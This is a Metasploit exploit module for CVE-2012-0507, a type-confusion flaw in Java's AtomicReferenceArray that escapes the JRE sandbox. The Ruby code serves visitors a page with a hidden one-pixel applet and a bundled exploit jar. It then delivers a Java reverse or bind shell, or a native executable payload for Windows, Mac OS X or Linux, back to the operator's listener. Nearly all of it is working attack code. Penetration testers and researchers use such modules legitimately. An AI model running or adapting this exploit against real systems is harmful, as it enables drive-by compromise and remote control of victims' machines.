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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  include Msf::Exploit::EXE
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  include Msf::Exploit::Remote::BrowserAutopwn
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  autopwn_info({ :javascript => false })
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',
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        'Description' => %q{
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          This module exploits a vulnerability due to the fact that
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          AtomicReferenceArray uses the Unsafe class to store a reference in an
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          array directly, which may violate type safety if not used properly.
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          This allows a way to escape the JRE sandbox, and load additional classes
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          in order to perform malicious operations.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Jeroen Frijters', # Initial discovery according to his blog
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          'sinn3r',          # metasploit module
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          'juan vazquez',    # metasploit module
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          'egypt'            # added support for older java versions
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        ],
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        'References' => [
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          ['CVE', '2012-0507'],
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          ['OSVDB', '80724'],
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          ['BID', '52161'],
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          ['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],
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          ['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],
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          ['URL', 'http://schierlm.users.sourceforge.net/TypeConfusion.html'],
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          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507'],
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          ['URL', 'https://www.rapid7.com/blog/post/2012/03/29/cve-2012-0507--java-strikes-again']
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        ],
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        'Platform' => %w{java linux osx solaris win},
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        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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        'Targets' => [
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          [
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            'Generic (Java Payload)',
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            {
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              'Platform' => ['java'],
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              'Arch' => ARCH_JAVA,
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            }
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          ],
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          [
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            'Windows x86 (Native Payload)',
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            {
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              'Platform' => 'win',
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              'Arch' => ARCH_X86,
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            }
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          ],
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          [
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            'Mac OS X PPC (Native Payload)',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_PPC,
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            }
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          ],
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          [
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            'Mac OS X x86 (Native Payload)',
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            {
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              'Platform' => 'osx',
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              'Arch' => ARCH_X86,
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            }
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          ],
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          [
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            'Linux x86 (Native Payload)',
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            {
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              'Platform' => 'linux',
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              'Arch' => ARCH_X86,
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            }
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          ],
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2012-02-14',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def exploit
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    # load the static jar file
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    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2012-0507.jar")
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    fd = File.open(path, "rb")
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    @jar_data = fd.read(fd.stat.size)
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    fd.close
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    super
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  end
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  def on_request_uri(cli, request)
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    data = ""
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    host = ""
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    port = ""
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    if not request.uri.match(/\.jar$/i)
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      if not request.uri.match(/\/$/)
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        send_redirect(cli, get_resource() + '/', '')
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        return
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      end
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      print_status("Sending #{self.name}")
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      payload = regenerate_payload(cli)
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      if not payload
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        print_error("Failed to generate the payload.")
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        return
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      end
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      if target.name == 'Generic (Java Payload)'
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        if datastore['LHOST']
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          jar = payload.encoded
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          host = datastore['LHOST']
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          port = datastore['LPORT']
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          vprint_status("Sending java reverse shell")
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        else
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          port = datastore['LPORT']
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          host = cli.peerhost
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          vprint_status("Java bind shell")
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        end
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        if jar
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          print_status("Generated jar to drop (#{jar.length} bytes).")
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          jar = Rex::Text.to_hex(jar, prefix = "")
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        else
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          print_error("Failed to generate the executable.")
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          return
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        end
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      else
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        # NOTE: The EXE mixin automagically handles detection of arch/platform
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        data = generate_payload_exe
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        print_status("Generated executable to drop (#{data.length} bytes).")
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        data = Rex::Text.to_hex(data, prefix = "")
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      end
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      send_response_html(cli, generate_html(data, jar, host, port), { 'Content-Type' => 'text/html' })
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      return
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    end
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    print_status("Sending jar")
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    send_response(cli, generate_jar(), { 'Content-Type' => "application/octet-stream" })
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    handler(cli)
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  end
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  def generate_html(data, jar, host, port)
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    jar_name = rand_text_alpha(rand(6) + 3) + ".jar"
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    html = "<html><head></head>"
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    html += "<body>"
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    html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"
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    html += "<param name=\"data\" value=\"#{data}\"/>" if data
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    html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
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    html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
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    html += "<param name=\"lport\" value=\"#{port}\"/>" if port
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    html += "</applet></body></html>"
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    return html
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  end
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  def generate_jar()
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    return @jar_data
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  end
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end
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